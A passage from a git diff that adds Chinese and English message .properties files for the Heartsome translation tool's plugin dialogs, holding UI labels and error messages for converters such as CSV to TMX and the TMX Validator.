+dialog.XSLTransformationDialog.filters4 = TBX \u6587\u4ef6 [*.tbx] +dialog.XSLTransformationDialog.filters5 = XML \u6587\u4ef6 [*.xml] +dialog.XSLTransformationDialog.filters6 = \u6240\u6709\u6587\u4ef6 [*.*] +dialog.XSLTransformationDialog.fileDialogTitle2 = \u9009\u62e9 XSL \u6837\u5f0f\u8868\u6587\u4ef6 +dialog.XSLTransformationDialog.filters7 = XSL \u6837\u5f0f\u8868\u6587\u4ef6 [*.xsl] +dialog.XSLTransformationDialog.fileDialogTitle3 = \u4fdd\u5b58\u5df2\u8f6c\u6362\u7684\u6587\u4ef6 +dialog.XSLTransformationDialog.ok = \u8f6c\u6362 +dialog.XSLTransformationDialog.cancel = \u53d6\u6d88 +dialog.XSLTransformationDialog.msgTitle = \u63d0\u793a +dialog.XSLTransformationDialog.msg1 = \u8bf7\u9009\u62e9\u6e90\u6587\u4ef6\u3002 +dialog.XSLTransformationDialog.msg2 = \u8bf7\u9009\u62e9 XSL \u6837\u5f0f\u8868\u6587\u4ef6\u3002 +dialog.XSLTransformationDialog.msg3 = \u8bf7\u9009\u62e9\u8f93\u51fa\u6587\u4ef6\u3002 +dialog.XSLTransformationDialog.msg4 = \u5df2\u6210\u529f\u5b8c\u6210\u8f6c\u6362\u3002 +dialog.XSLTransformationDialog.msg5 = \u6253\u5f00\u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.XSLTransformationDialog.logger1 = [LOG] \u8f6c\u6362\u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +dialog.XSLTransformationDialog.msg6 = \u5f53\u524d Java \u7248\u672c\u4e0d\u5b8c\u5168\u652f\u6301\u3002 + +util.Martif2Tbx.msg1 = \u8be5\u6587\u4ef6\u4e0d\u662f MARTIF \u6587\u4ef6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +util.PluginUtil.logger1 = [LOG] \u83b7\u53d6\u56fe\u7247\u8def\u5f84\u65f6\u51fa\u73b0\u9519\u8bef +util.RTFCleaner.logger1 = [LOG] \u6e05\u7406 RTF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +util.RTFCleaner.msg1 = \u8be5 RTF \u6587\u4ef6\u7684\u683c\u5f0f\u4e0d\u6b63\u786e\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 + +############################# 2012-10-29 \u6dfb\u52a0 #################################### +dialog.CSV2TMXConverterDialog.aboutItemName = CSVConverter +dialog.JavaPropertiesViewerDialog.aboutItemName = PropViewer +dialog.JavaPropertiesViewerDialog.version = \u7b2c 1.1.0 \u7248 +dialog.TMX2TXTConverterDialog.aboutItemName = TMX to TXT Converter +dialog.TMX2TXTConverterDialog.version = \u7b2c 1.1.0 \u7248 +dialog.TMXValidatorDialog.aboutItemName = TMXValidator +dialog.TMXValidatorDialog.version = \u7b2c 1.1.0 \u7248 +dialog.CSV2TMXConverterDialog.helpDialogTitle = CSV to TMX Converter +dialog.TBXMakerDialog.helpDialogTitle = TBX Maker +dialog.PluginHelpDialog.title = \u5e2e\u52a9\u6587\u4ef6\u67e5\u770b\u5668 +dialog.PluginHelpDialog.fileMenuItem = \u6587\u4ef6(&F) +dialog.PluginHelpDialog.openFileItem = \u6253\u5f00\u6587\u4ef6 +dialog.PluginHelpDialog.exitItem = \u9000\u51fa +dialog.PluginHelpDialog.editMenu = \u7f16\u8f91(&E) +dialog.PluginHelpDialog.searchItem = \u67e5\u627e\u6587\u672c +dialog.PluginHelpDialog.goMenu = \u8f6c\u5230(&G) +dialog.PluginHelpDialog.backItem = \u540e\u9000 +dialog.PluginHelpDialog.forwardItem = \u524d\u8fdb +dialog.PluginHelpDialog.homeItem = \u4e3b\u9875 +dialog.PluginHelpDialog.helpMenu = \u5e2e\u52a9(&H) +dialog.PluginHelpDialog.aboutItem = \u5173\u4e8e... +dialog.PluginHelpDialog.filterNames0 = \u5e2e\u52a9\u6587\u4ef6[*.xml] +dialog.PluginHelpDialog.filterNames1 = \u6240\u6709\u6587\u4ef6[*.*] +dialog.PluginHelpDialog.searchTitle = \u641c\u7d22\u7ed3\u679c +dialog.PluginHelpDialog.progressDialogTitle = \u67e5\u627e\u6587\u672c +dialog.PluginHelpDialog.progressMessage = \u6b63\u5728\u641c\u7d22... +dialog.PluginHelpDialog.searchNone = \u627e\u4e0d\u5230\u6587\u672c +dialog.PluginHelpDialog.AboutDialog.title = \u5e2e\u52a9\u6587\u4ef6\u67e5\u770b\u5668 +dialog.HelpSearchDialog.title = \u67e5\u627e\u6587\u672c +dialog.HelpSearchDialog.lblSearch = \u9700\u8981\u67e5\u627e\u7684\u6587\u672c +dialog.HelpSearchDialog.btnSensitive = \u641c\u7d22\u533a\u5206\u5927\u5c0f\u5199 +dialog.HelpSearchDialog.ok = \u67e5\u627e\u6587\u672c diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/resource/message_en.properties b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/resource/message_en.properties new file mode 100644 index 0000000..6fb7fe9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/resource/message_en.properties @@ -0,0 +1,361 @@ +# \u63d2\u4ef6\u901a\u7528 +plugin.PluginConfigManage.msgTitle = Message +plugin.PluginConfigManage.msg1 = Unable to run the plug-in because it is not configured with an executable program.Please configure the plug-in with an executable program and try again. +plugin.PluginConfigManage.msg2 = Please open the XLIFF file, select the segment you want to translate, and try again. +plugin.PluginConfigManage.msg3 = Please select the segment you want translate and try again. +plugin.PluginConfigManage.msg4 = You have selected more than one segments. Only the first one will be processed. +plugin.PluginConfigManage.msg5 = Please open the XLIFF file and try again. +plugin.PluginConfigManage.msg6 = Unable to proceed. The current file is not a valid XLIFF file. Please open a valid XLIFF file and try again. +plugin.PluginConfigManage.msg7 = Unable to run the plug-in. Please reconfigure the plug-in's executable program and try again. +plugin.PluginConfigManage.msg8 = Unable to run the plug-in. Please reconfigure the exchange file path, make sure the file is not read-only, and then try again. +plugin.PluginConfigManage.msg9 = Unable to proceed. File {0} does not exist. Please check if the file has been deleted. +plugin.PluginConstants.right = All Rights Reserved. 2012 Heartsome +dialog.AboutDialog.title = About + +# \u63d2\u4ef6\u7ba1\u7406\u5bf9\u8bdd\u6846 +dialog.PluginConfigurationDialog.title = Plug-in Manager +dialog.PluginConfigurationDialog.addBtn = &Add +dialog.PluginConfigurationDialog.editBtn = &Edit +dialog.PluginConfigurationDialog.deleteBtn = &Delete +dialog.PluginConfigurationDialog.cancel = Close +dialog.PluginConfigurationDialog.columnNames1 = Name +dialog.PluginConfigurationDialog.columnNames2 = Executable file +dialog.PluginConfigurationDialog.columnNames3 = Output +dialog.PluginConfigurationDialog.columnNames4 = Input +dialog.PluginConfigurationDialog.msgTitle = Message +dialog.PluginConfigurationDialog.msg1 = Please select the plug-in you want to edit. +dialog.PluginConfigurationDialog.msgTitle2 = Confirm +dialog.PluginConfigurationDialog.msg2 = Are you sure you want to delete the selected plug-in? +dialog.PluginConfigurationDialog.msg3 = Please select the plug-in you want to delete. + +# \u6dfb\u52a0/\u7f16\u8f91\u63d2\u4ef6 +dialog.PluginConfigManageDialog.title1 = Add plug-in +dialog.PluginConfigManageDialog.title2 = Edit plug-in +dialog.PluginConfigManageDialog.nameLbl = Name: +dialog.PluginConfigManageDialog.commandLbl = Executable file: +dialog.PluginConfigManageDialog.browseBtn = &Browse... +dialog.PluginConfigManageDialog.names1 = Executable file [*.exe] +dialog.PluginConfigManageDialog.names2 = All Files [*.*] +dialog.PluginConfigManageDialog.dialogTitle = Select the executable file for the plug-in +dialog.PluginConfigManageDialog.group = Shortcuts +dialog.PluginConfigManageDialog.keyLbl = Shortcuts: +dialog.PluginConfigManageDialog.processGroup = Input +dialog.PluginConfigManageDialog.outputSegemntBtn = Current segment +dialog.PluginConfigManageDialog.outputDocumentBtn = Current file +dialog.PluginConfigManageDialog.outputBlankBtn = N/A +dialog.PluginConfigManageDialog.returnGroup = Output +dialog.PluginConfigManageDialog.inputUpdateFileBtn = Updated exchange files +dialog.PluginConfigManageDialog.inputUpdateDocuBtn = Updated files +dialog.PluginConfigManageDialog.inputBlankBtn = N/A +dialog.PluginConfigManageDialog.switchLbl = Exchange File: +dialog.PluginConfigManageDialog.switchBrowseBtn = Bro&wse... +dialog.PluginConfigManageDialog.dialogTitle2 = Select an exchange file for the plug-in. +dialog.PluginConfigManageDialog.msgTitle = Message +dialog.PluginConfigManageDialog.msg1 = Please enter a name for the plug-in. +dialog.PluginConfigManageDialog.msg2 = Please select an executable file for the plug-in. +dialog.PluginConfigManageDialog.msg3 = The plug-in already exists. Please re-enter. + +# \u63d2\u4ef6\uff1aTMX Validator +plugin.TMXValidator.msg1 = Failed to parse the TMX file {0}\n +plugin.TMXValidator.msg2 = File: +plugin.TMXValidator.msg3 = is not TMX file;\n +plugin.TMXValidator.msg4 = Verifying files against the DTD...\n +plugin.TMXValidator.msg5 = Failed to parse temporary TMX file {0} \n +plugin.TMXValidator.msg6 = Verifying validity of TMX files... \n +plugin.TMXValidator.msg7 = Error: Undeclared source language.\n +plugin.TMXValidator.msg8 = Error: The source language {0} is incorrect.\n +plugin.TMXValidator.msg9 = Source Language: {0}\n +plugin.TMXValidator.msg10 = The file is valid.\n +plugin.TMXValidator.msg11 = Unable to find the cache of the file {0}. +plugin.TMXValidator.msg12 = Error: node contains an undeclared language.\n +plugin.TMXValidator.msg13 = Error: element lacks of for language {0}.\n +plugin.TMXValidator.msg14 = Error: The value of property i for element is repeated. +plugin.TMXValidator.msg15 = Error: The value of property i for / element is repeated. +plugin.TMXValidator.msg16 = Error: The number of / elements is unpaired. +plugin.TMXValidator.msg17 = Error: There is no corresponding / element for /. +plugin.TMXValidator.msg18 = Error: The language code {0} is invalid. +plugin.TMXValidator.msg19 = Error: Date format {0} is invalid. +plugin.TMXValidator.msg20 = Error: Property values {0} for tuid are repeated. + +dialog.ColumnRemoveDialog.title = Delete Rows +dialog.ColumnRemoveDialog.btnRemove = Delete specified rows +dialog.ColumnRemoveDialog.msgTitle = Message +dialog.ColumnRemoveDialog.msg1 = Please select the columns you want to delete. +dialog.ColumnRemoveDialog.msg2 = Please reselect the columns you want to delete because you have to keep at least two rows. +dialog.ColumnTypeDialog.title = Select Row Property +dialog.ColumnTypeDialog.column1 = Column +dialog.ColumnTypeDialog.column2 = Type of Column +dialog.ColumnTypeDialog.column3 = Type +dialog.ColumnTypeDialog.column4 = Attribute +dialog.ColumnTypeDialog.column5 = Term Language +dialog.ColumnTypeDialog.btnLoadConfiguration = Loading configuration... +dialog.ColumnTypeDialog.btnSaveConfiguration = Saving configuration... +dialog.ColumnTypeDialog.fdTitle = Select the configuration file +dialog.ColumnTypeDialog.filterName1 = configuration file [*.ctc] +dialog.ColumnTypeDialog.filterName2 = All Files [*.*] +dialog.ColumnTypeDialog.msgTitle = Message +dialog.ColumnTypeDialog.msg1 = Unable to load the configuration because the number of columns in the specified CTC configuration file is different to this file. Please select again. +dialog.ColumnTypeDialog.logger1 = [LOG] \u52a0\u8f7d CTC \u914d\u7f6e\u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +dialog.ColumnTypeDialog.savefdTitle = Select a location where you want to save the file to and name the file. +dialog.ColumnTypeDialog.logger2 = [LOG] \u4fdd\u5b58\u914d\u7f6e\u65f6\u51fa\u73b0\u9519\u8bef +dialog.ColumnTypeDialog.msg2 = Please specify the property of following columns: +dialog.ColumnTypeDialog.msg3 = Please define the column(s) because they are repeated in following languages: +dialog.ColumnTypeDialog.msg4 = Please define the following term(s): + +dialog.CSV2TMXConverterDialog.title = CSV to TMX Converter +dialog.CSV2TMXConverterDialog.lblRowCount = Row {0} +dialog.CSV2TMXConverterDialog.lblColCount = Column {0} +dialog.CSV2TMXConverterDialog.fileMenu = &File +dialog.CSV2TMXConverterDialog.openItem = Open CSV file... +dialog.CSV2TMXConverterDialog.exportItem = Convert to TMX File... +dialog.CSV2TMXConverterDialog.exitItem = Exit +dialog.CSV2TMXConverterDialog.taskMenu = &Tasks +dialog.CSV2TMXConverterDialog.deleteColItem = Delete Columns... +dialog.CSV2TMXConverterDialog.colPropertyItem = Select Language... +dialog.CSV2TMXConverterDialog.helpMenu = &Help +dialog.CSV2TMXConverterDialog.helpContentItem = Help Content... +dialog.CSV2TMXConverterDialog.aboutItem = About... +dialog.CSV2TMXConverterDialog.version = Version +dialog.CSV2TMXConverterDialog.openToolItem = Open CSV file +dialog.CSV2TMXConverterDialog.exporToolItem = Convert to TMX File +dialog.CSV2TMXConverterDialog.deleteColToolItem = Delete Rows +dialog.CSV2TMXConverterDialog.setColToolItem = Select Language +dialog.CSV2TMXConverterDialog.helpToolBar = Help Contents +dialog.CSV2TMXConverterDialog.msgTitle = Message +dialog.CSV2TMXConverterDialog.msg1 = Please select another CSV file because there has to be at least two columns in the CSV file. Please make sure that the column delimiter, text delimiter and encoding are correct. +dialog.CSV2TMXConverterDialog.logger1 = [LOG] \u89e3\u6790 CSV \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +dialog.CSV2TMXConverterDialog.msg2 = Please select another CSV file because there has to be at least two columns in the CSV file. Please make sure that the column delimiter, text delimiter and encoding are correct. +dialog.CSV2TMXConverterDialog.msg3 = Please specify the language of each column. +dialog.CSV2TMXConverterDialog.msg4 = The CSV has been converted to TMX. +dialog.CSV2TMXConverterDialog.logger2 = [LOG] \u5bfc\u51fa TMX \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +dialog.CSV2TMXConverterDialog.ExportDialog.title = Convert to TMX File +dialog.CSV2TMXConverterDialog.ExportDialog.lblTMX = TMX file: +dialog.CSV2TMXConverterDialog.ExportDialog.btnBrowse = &Browse... +dialog.CSV2TMXConverterDialog.ExportDialog.dialogTitle = Please specify a location where you want to save the TMX file. +dialog.CSV2TMXConverterDialog.ExportDialog.filterName1 = TMX File [*.tmx] +dialog.CSV2TMXConverterDialog.ExportDialog.filterName2 = All Files [*.*] +dialog.CSV2TMXConverterDialog.ExportDialog.optionsGrp = Options +dialog.CSV2TMXConverterDialog.ExportDialog.src = Source Language +dialog.CSV2TMXConverterDialog.ExportDialog.versionTMX = TMX version +dialog.CSV2TMXConverterDialog.ExportDialog.ok = Convert +dialog.CSV2TMXConverterDialog.LanguageSettingDialog.title = Select Language + +dialog.CSVSettingDialog.title = Open CSV file +dialog.CSVSettingDialog.lblFile = CSV file: +dialog.CSVSettingDialog.btnBrowse = &Browse... +dialog.CSVSettingDialog.dialogTitle = Select CSV file +dialog.CSVSettingDialog.filters1 = CSV Files [*.csv] +dialog.CSVSettingDialog.filters2 = Text Files [*.txt] +dialog.CSVSettingDialog.filters3 = All Files [*.*] +dialog.CSVSettingDialog.cmbColSeparator = Column Delimiter: +dialog.CSVSettingDialog.cmbTextDelimiter = Text Delimiter: +dialog.CSVSettingDialog.cmbEncoding = Encoding: +dialog.CSVSettingDialog.cmbLang = Main Language: +dialog.CSVSettingDialog.cmbXCSTemplate = XCS Template: +dialog.CSVSettingDialog.msgTitle = Message +dialog.CSVSettingDialog.msg1 = Please select a CSV file. +dialog.CSVSettingDialog.msg2 = Please set the main language of the TBX. + +dialog.JavaPropertiesViewerDialog.title = Java Properties Viewer +dialog.JavaPropertiesViewerDialog.fileMenu = &File +dialog.JavaPropertiesViewerDialog.openFileItem = Open Java Properties files +dialog.JavaPropertiesViewerDialog.quitItem = Exit +dialog.JavaPropertiesViewerDialog.helpMenu = &Help +dialog.JavaPropertiesViewerDialog.aboutItem = About... +dialog.JavaPropertiesViewerDialog.toolBar = Open Java Properties files +dialog.JavaPropertiesViewerDialog.helpToolItem = Help Contents +dialog.JavaPropertiesViewerDialog.columnNames1 = Key +dialog.JavaPropertiesViewerDialog.columnNames2 = Value +dialog.JavaPropertiesViewerDialog.names1 = Java Properties Files [*.properties] +dialog.JavaPropertiesViewerDialog.names2 = All Files [*.*] + +dialog.Martif2TBXConverterDialog.title = MARTIF to TBX Converter +dialog.Martif2TBXConverterDialog.txtMartif = MARTIF Files: +dialog.Martif2TBXConverterDialog.btnMartifBrowse = &Browse... +dialog.Martif2TBXConverterDialog.txtTBX = TBX files: +dialog.Martif2TBXConverterDialog.btnTBXBrowse = Bro&wse... +dialog.Martif2TBXConverterDialog.fileMenu = &File +dialog.Martif2TBXConverterDialog.exitItem = Exit +dialog.Martif2TBXConverterDialog.helpMenu = &Help +dialog.Martif2TBXConverterDialog.aboutItem = About... +dialog.Martif2TBXConverterDialog.dialogName = MARTIF to TBX Converter +dialog.Martif2TBXConverterDialog.dialogVersion = Version: 1.1.0 +dialog.Martif2TBXConverterDialog.dialogTitle1 = Original MARTIF Files: +dialog.Martif2TBXConverterDialog.names1 = MARTIF Files [*.mtf] +dialog.Martif2TBXConverterDialog.names2 = All Files [*.*] +dialog.Martif2TBXConverterDialog.dialogTitle2 = Save TBX file as +dialog.Martif2TBXConverterDialog.filters1 = TBX Files [*.tbx] +dialog.Martif2TBXConverterDialog.filters2 = All Files [*.*] +dialog.Martif2TBXConverterDialog.ok = Convert +dialog.Martif2TBXConverterDialog.cancel = Cancel +dialog.Martif2TBXConverterDialog.msgTitle = Message +dialog.Martif2TBXConverterDialog.msg1 = Please select MARTIF files. +dialog.Martif2TBXConverterDialog.msg2 = Please select a location where you want to save the TBX file and specify a name for the file. +dialog.Martif2TBXConverterDialog.msg3 = The MARTIF has been converted to TBX. + +dialog.RTFCleanerDialog.title = RTF Cleaner +dialog.RTFCleanerDialog.aboutName = RTF Cleaner +dialog.RTFCleanerDialog.aboutVersion = Version: 1.1.0 +dialog.RTFCleanerDialog.fileMenu = &File +dialog.RTFCleanerDialog.addStylesItem = Clean RTF file... +dialog.RTFCleanerDialog.exitItem = Exit +dialog.RTFCleanerDialog.addStyleItem = Clean RTF file +dialog.RTFCleanerDialog.dialogTitle = Select an RTF file +dialog.RTFCleanerDialog.filters1 = RTF Files [*.rtf] +dialog.RTFCleanerDialog.filters2 = All Files [*.*] +dialog.RTFCleanerDialog.msgTitle = Message +dialog.RTFCleanerDialog.msg1 = An error occured when deleting the hidden text from {0}. Please try again. +dialog.RTFCleanerDialog.msg2 = Finish cleaning the tags in the RTF file(s). + +dialog.TBXMakerDialog.title = TBX Maker +dialog.TBXMakerDialog.lblRowCount = Row {0} +dialog.TBXMakerDialog.lblColCount = Column {0} +dialog.TBXMakerDialog.fileMenu = &File +dialog.TBXMakerDialog.openCSVItem = Open CSV file... +dialog.TBXMakerDialog.exportTBXItem = Convert to TBX File... +dialog.TBXMakerDialog.exitItem = Exit +dialog.TBXMakerDialog.taskMenu = &Tasks +dialog.TBXMakerDialog.deleteColItem = Delete Columns... +dialog.TBXMakerDialog.colPropertyItem = Column Property... +dialog.TBXMakerDialog.helpMenu = &Help +dialog.TBXMakerDialog.helpContentItem = Help Content... +dialog.TBXMakerDialog.aboutItem = About... +dialog.TBXMakerDialog.aboutItemName = TBX Maker +dialog.TBXMakerDialog.aboutItemVersion = Version: 1.1.0 +dialog.TBXMakerDialog.openToolItem = Open CSV file +dialog.TBXMakerDialog.exporToolItem = Export to TBX file +dialog.TBXMakerDialog.deleteColToolItem = Delete Rows +dialog.TBXMakerDialog.setColToolItem = Select Row Property +dialog.TBXMakerDialog.helpToolItem = Help Contents +dialog.TBXMakerDialog.msgTitle = Message +dialog.TBXMakerDialog.msg1 = Please select another CSV file because there has to be at least two columns in the CSV file. Please make sure that the column delimiter, text delimiter and encoding are correct. +dialog.TBXMakerDialog.logger1 = [LOG] \u89e3\u6790 CSV \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +dialog.TBXMakerDialog.msg2 = Please select another CSV file because there has to be at least two columns in the CSV file. Please make sure that the column delimiter, text delimiter and encoding are correct. +dialog.TBXMakerDialog.msg3 = Please set the column property. +dialog.TBXMakerDialog.msg4 = The CSV file has been converted to a TBX file. +dialog.TBXMakerDialog.logger2 = [LOG] \u5bfc\u51fa TBX \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +dialog.TBXMakerDialog.ExportDialog.title = Convert to TBX File +dialog.TBXMakerDialog.ExportDialog.lblTBX = TBX files: +dialog.TBXMakerDialog.ExportDialog.btnBrowse = &Browse... +dialog.TBXMakerDialog.ExportDialog.dialogTitle = Please select a location where you want to save the exported file and specify a name for the file. +dialog.TBXMakerDialog.ExportDialog.names1 = TBX Files [*.tbx] +dialog.TBXMakerDialog.ExportDialog.names2 = All Files [*.*] +dialog.TBXMakerDialog.ok = Convert + +dialog.TMX2TXTConverterDialog.title = TMX to TXT Converter +dialog.TMX2TXTConverterDialog.ok = Convert +dialog.TMX2TXTConverterDialog.cancel = Cancel +dialog.TMX2TXTConverterDialog.fileMenu = &File +dialog.TMX2TXTConverterDialog.quitItem = Exit +dialog.TMX2TXTConverterDialog.helpMenu = &Help +dialog.TMX2TXTConverterDialog.aboutItem = About... +dialog.TMX2TXTConverterDialog.tmxLbl = TMX file: +dialog.TMX2TXTConverterDialog.tmxBrowseBtn = &Browse... +dialog.TMX2TXTConverterDialog.txtLbl = TXT file: +dialog.TMX2TXTConverterDialog.txtBrowseBtn = Bro&wse... +dialog.TMX2TXTConverterDialog.TMXNames1 = TMX File [*.tmx] +dialog.TMX2TXTConverterDialog.TMXNames2 = All Files [*] +dialog.TMX2TXTConverterDialog.TXTNames1 = Translator's Workbench Files [*.txt] +dialog.TMX2TXTConverterDialog.TXTNames2 = All Files [*.*] +dialog.TMX2TXTConverterDialog.msgTitle = Message +dialog.TMX2TXTConverterDialog.msg1 = Please select a TMX file. +dialog.TMX2TXTConverterDialog.msg2 = Please select a TXT file. +dialog.TMX2TXTConverterDialog.msgTitle2 = Confirm +dialog.TMX2TXTConverterDialog.msg3 = The file {0} already exists. Are sure you want to overwrite it? +dialog.TMX2TXTConverterDialog.job = TMX Convert to TXT +dialog.TMX2TXTConverterDialog.task = TMX Convert to TXT... +dialog.TMX2TXTConverterDialog.msg4 = The file is an invalid TMX file. Please select a valid TMX file. +dialog.TMX2TXTConverterDialog.msg5 = Unable to convert the TMX file to a TXT file. Please try again. +dialog.TMX2TXTConverterDialog.msg6 = Not a valid TMX v1.4 file. This file is not supported by the current version. Please select a valid TMX v1.4 file. +dialog.TMX2TXTConverterDialog.msg7 = Please select another TMX file because the specified file is empty. +dialog.TMX2TXTConverterDialog.msg8 = Unable to convert: Unable to find the cache of {0}. Please try again. + +dialog.TMXValidatorDialog.title = TMX Validator +dialog.TMXValidatorDialog.fileMenu = &File +dialog.TMXValidatorDialog.openFileItem = Verify TMX file +dialog.TMXValidatorDialog.clearCharItem = Clean TMX file +dialog.TMXValidatorDialog.quitItem = Exit +dialog.TMXValidatorDialog.helpMenu = &Help +dialog.TMXValidatorDialog.aboutItem = About... +dialog.TMXValidatorDialog.openItem = Verify TMX file +dialog.TMXValidatorDialog.clearCharsItem = Clean TMX file +dialog.TMXValidatorDialog.helpToolItem = Help Contents +dialog.TMXValidatorDialog.names1 = TMX File [*.tmx] +dialog.TMXValidatorDialog.names2 = All Files [*.*] +dialog.TMXValidatorDialog.styledText1 = Cleaning {0}...\n +dialog.TMXValidatorDialog.msg1 = An undefined error occured when cleaning {0}\n +dialog.TMXValidatorDialog.styledText2 = The file has been cleaned.\n + +dialog.XSLTransformationDialog.title = XSL Transformation +dialog.XSLTransformationDialog.lblSource = Source File: +dialog.XSLTransformationDialog.btnSource = &Browse... +dialog.XSLTransformationDialog.lblXSL = XSL Template Worksheet: +dialog.XSLTransformationDialog.btnXSL = B&rowse... +dialog.XSLTransformationDialog.lblTarget = Converted files: +dialog.XSLTransformationDialog.btnTarget = Bro&wse... +dialog.XSLTransformationDialog.btnOpenFile = Open the converted files +dialog.XSLTransformationDialog.fileItem = &File +dialog.XSLTransformationDialog.exitItem = Exit +dialog.XSLTransformationDialog.helpMenu = &Help +dialog.XSLTransformationDialog.aboutItem = About... +dialog.XSLTransformationDialog.aboutItemName = XSL Transformation +dialog.XSLTransformationDialog.aboutItemVersion = Version: 1.1.0 +dialog.XSLTransformationDialog.fileDialogTitle1 = Select the Source File +dialog.XSLTransformationDialog.filters1 = XLIFF Files [*.hsxliff] +dialog.XSLTransformationDialog.filters2 = SDLXLIFF Files [*.sdlxliff] +dialog.XSLTransformationDialog.filters3 = TMX File [*.tmx] +dialog.XSLTransformationDialog.filters4 = TBX Files [*.tbx] +dialog.XSLTransformationDialog.filters5 = XML file [*.xml] +dialog.XSLTransformationDialog.filters6 = All Files [*.*] +dialog.XSLTransformationDialog.fileDialogTitle2 = Select XSL Template File +dialog.XSLTransformationDialog.filters7 = XSL Template Files [*.xsl] +dialog.XSLTransformationDialog.fileDialogTitle3 = Save converted files +dialog.XSLTransformationDialog.ok = Convert +dialog.XSLTransformationDialog.cancel = Cancel +dialog.XSLTransformationDialog.msgTitle = Message +dialog.XSLTransformationDialog.msg1 = Please select source files. +dialog.XSLTransformationDialog.msg2 = Please select XSL Template files. +dialog.XSLTransformationDialog.msg3 = Please select the files to export. +dialog.XSLTransformationDialog.msg4 = Conversion Complete. +dialog.XSLTransformationDialog.msg5 = An error occured when opening the file. +dialog.XSLTransformationDialog.logger1 = [LOG] \u8f6c\u6362\u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +dialog.XSLTransformationDialog.msg6 = Not supported by the current Java version. + +util.Martif2Tbx.msg1 = Please select a valid MARTIF file. +util.PluginUtil.logger1 = [LOG] \u83b7\u53d6\u56fe\u7247\u8def\u5f84\u65f6\u51fa\u73b0\u9519\u8bef +util.RTFCleaner.logger1 = [LOG] \u6e05\u7406 RTF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +util.RTFCleaner.msg1 = Please select a valid RTF file because the format of this RTF file is invalid. + +############################# 2012-10-29 \u6dfb\u52a0 #################################### +dialog.CSV2TMXConverterDialog.aboutItemName = CSVConverter +dialog.JavaPropertiesViewerDialog.aboutItemName = PropViewer +dialog.JavaPropertiesViewerDialog.version = Version 1.1.0 +dialog.TMX2TXTConverterDialog.aboutItemName = TMX to TXT Converter +dialog.TMX2TXTConverterDialog.version = Version 1.1.0 +dialog.TMXValidatorDialog.aboutItemName = TMXValidator +dialog.TMXValidatorDialog.version = Version 1.1.0 +dialog.CSV2TMXConverterDialog.helpDialogTitle = CSV to TMX Converter +dialog.TBXMakerDialog.helpDialogTitle = TBX Maker +dialog.PluginHelpDialog.title = Help Viewer +dialog.PluginHelpDialog.fileMenuItem = &File +dialog.PluginHelpDialog.openFileItem = Open +dialog.PluginHelpDialog.exitItem = Exit +dialog.PluginHelpDialog.editMenu = &Edit +dialog.PluginHelpDialog.searchItem = Find Text +dialog.PluginHelpDialog.goMenu = &Go To +dialog.PluginHelpDialog.backItem = Back +dialog.PluginHelpDialog.forwardItem = Next +dialog.PluginHelpDialog.homeItem = Home +dialog.PluginHelpDialog.helpMenu = &Help +dialog.PluginHelpDialog.aboutItem = About... +dialog.PluginHelpDialog.filterNames0 = Help [*.xml] +dialog.PluginHelpDialog.filterNames1 = All Files [*.*] +dialog.PluginHelpDialog.searchTitle = Search Results +dialog.PluginHelpDialog.progressDialogTitle = Find Text +dialog.PluginHelpDialog.progressMessage = Searching... +dialog.PluginHelpDialog.searchNone = Cannot find the text +dialog.PluginHelpDialog.AboutDialog.title = Help Viewer +dialog.HelpSearchDialog.title = Find Text +dialog.HelpSearchDialog.lblSearch = Text to be found +dialog.HelpSearchDialog.btnSensitive = Case sensitive in searching +dialog.HelpSearchDialog.ok = Find Text diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/resource/message_zh.properties b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/resource/message_zh.properties new file mode 100644 index 0000000..16e5f26 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/resource/message_zh.properties @@ -0,0 +1,361 @@ +# \u63d2\u4ef6\u901a\u7528 +plugin.PluginConfigManage.msgTitle = \u63d0\u793a +plugin.PluginConfigManage.msg1 = \u8be5\u63d2\u4ef6\u672a\u914d\u7f6e\u8fd0\u884c\u7a0b\u5e8f\uff0c\u65e0\u6cd5\u6267\u884c\u3002\u8bf7\u914d\u7f6e\u8be5\u63d2\u4ef6\u7684\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +plugin.PluginConfigManage.msg2 = \u8bf7\u5148\u6253\u5f00 XLIFF \u6587\u4ef6\uff0c\u5e76\u9009\u62e9\u8981\u5904\u7406\u7684\u6587\u672c\u6bb5\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +plugin.PluginConfigManage.msg3 = \u8bf7\u5148\u9009\u62e9\u8981\u5904\u7406\u7684\u6587\u672c\u6bb5\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +plugin.PluginConfigManage.msg4 = \u9009\u62e9\u4e86\u591a\u4e2a\u6587\u672c\u6bb5\uff0c\u5c06\u53ea\u5904\u7406\u7b2c\u4e00\u4e2a\u9009\u4e2d\u7684\u6587\u672c\u6bb5\u3002 +plugin.PluginConfigManage.msg5 = \u8bf7\u5148\u6253\u5f00 XLIFF \u6587\u4ef6\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +plugin.PluginConfigManage.msg6 = \u65e0\u6cd5\u5904\u7406\uff1a\u5f53\u524d\u6253\u5f00\u7684\u6587\u4ef6\u4e0d\u7b26\u5408 XLIFF \u6807\u51c6\u3002\u8bf7\u6253\u5f00\u5408\u6cd5\u7684 XLIFF 